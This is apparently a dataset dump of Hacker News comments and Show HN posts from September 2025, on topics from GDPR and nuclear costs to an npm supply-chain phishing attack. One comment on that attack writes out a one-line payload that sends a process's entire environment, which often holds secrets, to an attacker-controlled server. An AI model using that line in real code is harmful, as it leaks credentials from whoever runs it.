MurphyA/hacker-news huggingface dataset:
by ktosobcy | 2025-09-09 14:00:57+00:00
And?

You are aware that majority of the communication happens via email, which has absolutely NO encryption and can go through whichever relay and noone gives a flying duck about it?

Again, for the overwhelming majority simple PGP encryption without pfs is more than enough. Not everyone works for government agencies and have to maintain perfect secrecy. If you do that in your private life then yes - you are paranoidal.
Show HN: MP3 File Editor for Lossless Bulk Processing
by cutandjoin | 2025-09-09 14:01:10+00:00
Cjam is lightweight freeware that can process large numbers of MP3 files without quality loss.

Official site: https://cjmapp.net

Also available on MajorGeeks:

https://www.majorgeeks.com/files/details/cjam.html

There’s also a forum where users can share feedback or scripts:

https://forum.cjmapp.net
by dheera | 2025-09-09 14:01:15+00:00
> The law applies if you target people living in the EU

I disagree with this. Tencent WeChat targets the entire world, including people living in the EU. They do not follow GDPR.

Likewise, Facebook targets people living everywhere, including in China. They do not follow Chinese laws.

Hence, China sets up a firewall and blocks Facebook.

EU can set up a firewall too if they don't like something.

"Oh but EU doesn't do firewalls?" Not my problem. Tough luck. China, Iran, Turkey, Indonesia, all did it, you can too if you have beef with foreign websites.

But no, I do not need to follow EU law just because EU users use my thing. It's on them to firewall it if they don't like my website.

> CCPA and the CPRA

This is fine. I live in California, I need to follow California law, and I can choose to live somewhere else if I don't like it. What I'm not okay with is some distant jurisdiction thinking they can make laws that I "need" to follow.
by dghlsakjg | 2025-09-09 14:01:50+00:00
You could technically guess it that way, in an incredibly simplified market if you didn’t have the actual number available to you. The car market isn’t incredibly simplified, and we do have the revenue number.

The numbers cited in the article are units sold. Tesla has 38% of 128k cars sold. Now tell me what the Tesla revenue was using your method?

See why serious people just look at what revenue was to determine what revenue was? It’s not a “bottom up” approach, it’s a “look at that reported and audited number and tell me what it is” approach.

Did you figure out what the revenue is yet, I'm super curious about how close the "top down" approach is going to be to reality. Don't forget that Tesla has revenue from non car products!
by gchamonlive | 2025-09-09 14:01:55+00:00
I'm no political scientist, but I believe in checks and balances. It translates roughly to costly burocracy, but if the next president or Congress will face significant pushback either from each other or the judiciary, and if the democratic institutions are strong, then we can trust that a reasonably well structured law will prevent by itself abuse.

The law is abused in the US because they have the tradition of keeping the constitution to a bare minimum and govern by precedence and common sense, which as we can see isn't very productive.

So yeah I guess I'm advocating for burocracy for now, at least until someone comes with a better idea. I'd take burocracy many times before corporation abuse.

EDIT: now I see I haven't addressed the main question. I believe that society needs a mechanism to hold big tech platforms accountable for abuse. The speed which big techs can push certain kinds of information through their services is such that the due process, when it works, is only effective after damage is done and by then different accounts and different outlets are already pushing the same kind of disinformation ads. Therefore preemptive removal of this content is necessary. The problem now becomes how to make it so that the universe of content eligible for preemptive removal can't be abused by the current administration. How can we make it so that the Israeli misinformation machine can't overshadow other institutions, but at the same time guaranteeing that the next political party in power can't abuse this system to suppress valid propaganda from the opposition?
by ashleyn | 2025-09-09 14:01:56+00:00
I'm sure it isn't luck but at the same time I watch these things and genuinely don't understand how they do it. Particularly the whole thing of seeing and reacting that quick.

It reminds me of how bad I am with rhythm games. I can't even get through Easy on DDR because the arrows move too fast. It's like I can't read them and react quick enough.

Typically I do much better with games where the point isn't to see, process, and react within milliseconds. I definitely think there is a type of brain that can play games like these and another type that can't, and I'm in the latter.
by Workaccount2 | 2025-09-09 14:02:05+00:00
Europe took PTO after the wall fell, and stayed on it long enough that now a new generation has grown up thinking its the norm. Tech? We have the US's tech. Defense? We have the US's defense. Energy? We have Russia's and the US's energy

Obviously Europeans don't want to be the US's b*tch, but even more so they seem to want heavy regulations ensuring their right to relax and cripple growth, err, evil corporations.
by cyrialize | 2025-09-09 14:02:07+00:00
Silksong became a lot better for me once I gained the power up that allowed me to dash, sprint, and jump.

I definitely have issues with the in-game economy, so to just not worry about it, I've been farming enemies to build up a stock pile of cash.

Farming has helped me get better at my movement, and it is very, very fun.

The movement itself reminds me of super smash brother melee, the dashing on ground and in air feels like wave dashing and air dodging.
by naugtur | 2025-09-09 14:02:17+00:00
- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.
by graemep | 2025-09-09 14:02:31+00:00
As far as I know (am I mistaken?) the US reduced tariffs to 10% in return for China reducing tariffs to 10%, and reducing restrictions on the exports of rare earths.

That sounds more like China backed down than the US did.

The EU is a lot weaker than China. China dominates critical areas of manufacturing, and does not have the level of dependence Europe (non-EU as well) has on the US - I hardly need remind people here of the dependence in IT systems.
by Cthulhu_ | 2025-09-09 14:02:34+00:00
ASML is a holding though, it has many subisidiaries and sub-companies, including one that makes photolithography equipment.

Google is a search engine but there's also Google Ventures that does investments [0] into loads of different companies.

I'm really not sure why (in all these threads) people try to put Europe's biggest tech company into a single box when most big companies aren't.

[0] https://www.gv.com/portfolio
by evantbyrne | 2025-09-09 14:02:41+00:00
The email was sent from the 'npmjs dot help' domain. I'm not saying you're wrong, but also basic due diligence would have prevented this. If not by email, the maintainer may have been able to be compromised over text or some other medium. And today maintainers of larger projects can avoid these problems by not importing and auto-updating a bunch of tiny packages that look like they could have been lifted from stack overflow
by eythian | 2025-09-09 14:02:42+00:00
I was not aware there was an RFC for CSV, but the concept of "simple comma-separated UTF-8 CSV" is, in my experience, not something that exists. In a previous job, a chunk of my work was taking CSV files that were given to us and writing tooling to process them into a structured form for import elsewhere (typically we'd do a few test runs, and finally do a cut-over with final data, so it had to be scripted.)

During this I saw just about every variant of CSV and character encoding known to man, often inside the same file. Once I had a file that had UTF-8, MARC-8, Latin1, and (yes really) VT100 control codes. All in one file.

All in all, I'd prefer something that actually could be validated for some sort of correctness (this said, another time I got an XML export from some software that was invalid XML, so...)
by rdm_blackhole | 2025-09-09 14:03:02+00:00
It's simply another nail in the coffin of the narrative that the EU countries need the "EU" to survive.

The EU was sold as tool that would bring prosperity to the EU countries and this is less and less the case as the years go by. Sure, you have a few bright spots here and there but those are few and far between.

Spain, Italy, Greece and the other sick "countries" of Europe were sacrificed in the 2010s to save the Euro and now France and Germany are going through some tough soul-searching.

Then there is the the growth of many Euro septic parties throughout Europe which are gathering steam year after year.

The EU needs to reform itself very quickly because for a lot of people, the question that is being asked is: do we really need it?
by jillesvangurp | 2025-09-09 14:03:26+00:00
They make the machines that make the chips that power the AI revolution; which is generating a lot of demand for chips and their machines. So there's some synergy there. And Mistral based in the EU, they might be interested in sourcing their chips locally, which would require investments in new Chip factories that presumably would need machines from ASML.

There is quite a bit of semi conductor business here in Europe. Nothing glamorous like Nvidia. But there is quite a bit of know how that is one of the reasons why ASML is based in the Netherlands instead of somewhere in the US. ARM is a British company (well Japanese owned but based in the UK).

So, I can see the connection here. And it might not be a bad investment although maybe a bit of a risky one. This investment fits the broader EU strategy to be investing in chip manufacturing and AI hardware. Which benefits ASML. So, it makes sense to invest in some of the companies creating that demand. Like Mistral.
by patrakov | 2025-09-09 14:03:31+00:00
Reality check.

Complaint: tickets created by the QA team for developers, even seemingly trivial ones, stagnate in Jira for months and sometimes years without anyone looking.

Written plan: Hire somebody who will be actually responsible for planning and prioritization. Hire more developers, so that the existing ones are not overloaded.

Reality: "This is not a realistic plan. There is a budget, and you are not the one who makes hiring decisions, so shut up and stop creating tickets unless there is something really serious".

So - is the complainer above serious, or not?

(all of the above is pure fiction)
by kaelwd | 2025-09-09 14:03:49+00:00
It would be fine if you could still manually specify those versions eg. npm i duckdb@1.3.3 installs 1.3.3 but duckdb@latest or duckdb@^1.3 stays on 1.3.2 until 1.3.3 is ~a week old.

https://github.com/pnpm/pnpm/issues/9921
by KoolKat23 | 2025-09-09 14:03:51+00:00
It's interesting it's at the same rate, I imagine as everyone knows the government would have to bail them out. So the question remains why do it? It doesn't actually benefit the general public then. Increased risk for government and like you mentioned increased hurdles for running the utility.

Of course government do that, but they're left holding the bag regardless, so the incentive is very different.

These are not counterpoints.
by WalterBright | 2025-09-09 14:03:55+00:00
C++ became popular because in the late 80s, 90% of programming was done on the PC. Zortech C++, with the first native compiler, provided the most powerful metal programming language available.

Zortech C++ is what gave C++ critical mass to succeed.

P.S. before ZTC++, the traffic in the usenet C++ newsgroup was neck-and-neck with the objective C newsgroup. After ZTC++ was released, traffic in the C++ newsgroup took off and the objective C one faded away. Borland saw our success, and pivoted away from their nascent attempt at an OOP language towards implementing Borland C++. Microsoft then also abandoned their OOP C project (called C) in favor of developing C++.

(I've never been able to get any information about C, I was just told about it by a Redmondian.)
by qcnguy | 2025-09-09 14:04:04+00:00
In the past, yes, the FT was like that. But not for a long time. It's like thinking professional economists all read The Economist. I know professional investors, a few of them read the WSJ but not yet met one who cared about what the FT think. Mostly they get info from more specialized publications.

They were pro-EU for ideological reasons. Leaving had no effect on the British economy, which isn't what they predicted.
by spindump8930 | 2025-09-09 14:04:12+00:00
This topic is interesting, but the repo and paper have a lot of inconsistencies that make me think this work is hiding behind lots of dense notation and language. For one, the repo states:

> This implementation follows the framework from the paper “Compression Failure in LLMs: Bayesian in Expectation, Not in Realization” (NeurIPS 2024 preprint) and related EDFL/ISR/B2T methodology.

There doesn't seem to be a paper by that title, preprint or actual neurips publication. There is https://arxiv.org/abs/2507.11768, with a different title, and contains lots of inconsistencies with regards to the model. For example, from the appendix:

> All experiments used the OpenAI API with the following configuration:

> • Model: *text-davinci-002*

> • Temperature: 0 (deterministic)

> • Max tokens: 0 (only compute next-token probabilities)

> • Logprobs: 1 (return top token log probability)

> • Rate limiting: 10 concurrent requests maximum

> • Retry logic: Exponential backoff with maximum 3 retries

That model is not remotely appropriate for these experiments and was deprecated in 2023.

I'd suggest anyone excited by this attempt to run the codebase on github and take a close look at the paper.
by pixl97 | 2025-09-09 14:04:16+00:00
I mean most of the time it's the companies themselves that teach people bad habits.

MyBank: "Don't click on emails from suspicious senders! Click here for more information" { somethingweirdmybank.com } -- Actual real email from my bank.

Like, wtf. Why are you using a totally different domain.

And the companies I've worked for do this kind of crap all the time. "Important company information" { learnaboutmycompany.com } -- Like, is this a random domain someone registered. Nope, actually belongs to the place I work for when we have a well known and trusted domain.

Oh, and it's the best when the legit sites have their own spelling mistakes.
Show HN: Read Japanese Manga More Effectively with MangaRenshuu
by tike_myson | 2025-09-09 14:05:23+00:00
Created MangaRenshuu to make Japanese manga reading more effective for learners - click speech bubbles to see extracted text, toggle romaji button if you want to romaji under the extracted text.

Key features: - Pre-processed speech bubble text extraction using OCR - Click bubbles to see Japanese text - Toggle romaji button to see romaji text under extracted text - Currently has some chapters of Yotsuba&! and Takagi-san

Technical process: I used OCR tools to extract and clean text from manga pages offline, then built a web interface that overlays the text on original images.

Started as a personal study tool that I use daily. Made it open-source after realizing it might help other learners.

Would love feedback from other Japanese learners or suggestions for additional manga.

Website: https://www.mangarenshuu.online/ GitHub: https://github.com/MRamazan/MangaRenshuu
Show HN: RekoSearch – Semantic Search for Media SaaS (Rust, Python, AWS and K8s)
by Obscurely | 2025-09-09 14:05:39+00:00
After struggling to find specific files in my 10,000+ media library, I spent 18 months building RekoSearch. It allows you to search across photos, videos, documents, and audio using natural language queries, such as "dog mountain," or advanced syntax, like `label:couch AND text: "brand name" NOT face:sad`.

Built with Rust (Lambda functions on ARM64 and the entire Backend), Python/React (frontend), AWS services (Rekognition, Textract, Transcribe), and Kubernetes.

• Live demo: https://rekosearch.com/demo

• GitHub repo with architecture docs: https://github.com/Obscurely/RekoSearch-Public (includes in-depth handmade excalidraw diagrams)

• Blog post about my journey and challenges: https://www.adriancrismaruc.com/blog/building-rekosearch-jou...

• Try it yourself (beta): https://rekosearch.com/beta (50 free credits)

I'm open to feedback on architecture, functionality, or any suggestions you have for improvements. Also, I highly recommend trying to build a SaaS app— the knowledge I gained building this far exceeded what I could have learned from smaller desktop projects.
by epistasis | 2025-09-09 14:05:43+00:00
That's simply untrue and focusing on it will continue to result in nuclear failure after nuclear failure.

Nobody has some sort of proposal of a different regulatory scheme that is somehow cheaper. Even France, which built a ton decades ago, has completely failed for more than a decade at building. South Korea has been somewhat successful at building, but also sends execs to jail for faking parts approvals. But perhaps that would be cheap to fix.

What has changed since the mid 20th century is that construction labor is far more expensive in comparison to other things that can be done with that labor. Construction productivity has remained roughly constant over time, as manufacturing and other productivity has gone through the roof.

Nuclear is fundamentally a big construction project. SMRs weresypposed to be an attempt to make nuclear power a manufacturing project, not a construction project. But it turns out that construction projects like the BWRX300 are the only real SMRs that can be produced, after a decade of hype. Manufacturing SMRs like 747s is not any more real today than it was when the nuclear PR machine turned to it in the wake of the financial and construction disaster of the AP1000s at Summer and Vogtle.

The real story of nuclear is the need for super cheap labor, and excellent high-tech construction capacity. These two requirements are at odds with each other, because in societies with high tech construction skills, labor quickly becomes expensive.

Even places like China with lots of successful nuclear projects is only building a tiny tiny amount of nuclear when compared to their wind, solar, and batteries. China does everything, and they won't abandon nuclear completely because a nuclear workforce is essential for a country with superpower ambitions, but the nuclear power is there for the superpower ambitions, not the electricity generation.
by mustaphah | 2025-09-09 14:05:49+00:00
Adblockers might not be enough.

Some services claim to turn "anonymous" visitors into actual email addresses (and some other basic info), likely via identity graphs (IP/device/hashed IDs).

I've heard of cases where people are getting outreached (via email) after just visiting a product website, even with an ad blocker on, using a private browser (Brave or similar).

Opensend is one example. They're pretty open about it in their FAQ [1].

[1] https://www.opensend.com/faq
by btown | 2025-09-09 14:06:05+00:00
I'm often curious about how effective runtime quasi-sandboxing is in practice (at least until support at the TC39 level lands).

My understanding is that if you can run with a CSP that prevents unsafe-eval, and you lock a utility package down to not be able to access the `window` object, you can prevent it from messing with, say, window.fetch.

But what about a package that does assume the existence of window or globalThis? Say, a great many packages bridging non-React components into the React ecosystem. Once a package needs even read-only access to `window`, how do you protect against supply-chain attacks on that package? Even if you read-only proxy that object, for instance, can you ensure that nothing in `window` itself holds a reference to the non-proxied `window`?

Don't get me wrong - this project is tremendously useful as defense-in-depth. But curious about how much of a barrier it creates in practice against a determined attacker.
by kevindamm | 2025-09-09 14:06:08+00:00
Where's the boundary, though? If someone generated slop but edits every sentence replacing at least half the words and ensuring it is in their voice consistently, does it still need the badge? If only one word is replaced but it corrected the hallucination and is otherwise reviewed for approval? If dice are rolled and the x'th word of the y'th sentence chosen for replacement?

I don't justify starting with slop in my own writings but I don't know whether you could even reliably label it appropriately. Even more so, it would be a shame to see genuinely human writing mischaracterized as genAI, especially in a public forum like LinkedIn.
by natmaka | 2025-09-09 14:06:14+00:00
Nuclear can be apparently cheap (its TCO is difficult to establish because gov funding, hot waste potentially breaking havoc in a distant future...) but never is when load-following, because load-following reduces the load factor, and a low load factor bumps up production costs.

Moreover nuclear's aptitude to load-following is vastly over-stated because it has too much inertia (even hot). Even France (shock-full of reactors) always needs to produce approximately 10% ( https://ourworldindata.org/explorers/energy?Metric=Share+of+... ) of its juice thanks to fossil fuel, for a non-negligible part ensuring load-following.
by diggan | 2025-09-09 14:06:30+00:00
I think you can train it, at least that's what I did with Stepmania in the early 2000s. I was watching in awe how people could manage to get perfect scores when I could hardly see the steps before they were at the bottom of the screen.

Eventually I learned to stop looking at the individual entities, and just "stare in the middle" kind of, and you stop "looking" and start sensing in a way, without looking directly at them. They might just flash by, but it's enough for your brain to be able to at least figure out what right finger to use.

Then it's just a bunch of training :) I think it's fairly established that "reaction time" is something you can train, you just need to always be at the limit and slowly make it faster and faster. Same with speed-reading/listening I think.
by dathinab | 2025-09-09 14:06:32+00:00
it has Display and Debug trait

both require a `fn fmt(&self, f: &mut Formatter<'_>) -> Result<(), Error>` function

while they work the same semantically it's "convert to string for displaying" and convert to string for debugging" (where debugging could be log messages, or print line debugging etc. by default debug for strings will do string escaping and for structs does print the structure/fields/type name in some semi standard way).

the Formatter is mostly just a string writer/sink, which also exposes a fixed set of formatting options and some utility methods

if a type implements Display through stuff I will skip over you then can also write `instance_of_type.to_string()` and get a string.

This trait are used in the default formatting mechanism used by e.g. `println!()` which other libraries (e.g. log) can use through `format!` and some other more internal/95% of case you don't need to know stuff. E.g. `println!("{a}, {a:?}, {a:#?}")` will in order print the display formatting of a, the debug formatting of a and then the alternative debug formatting (if there is one, else the normal one). And other options like pad left, floating point format options etc. exist too.

Through it should be noted that rust doesn't contain build in serialization, through nearly everything uses the library/traits/types from `serde` for that.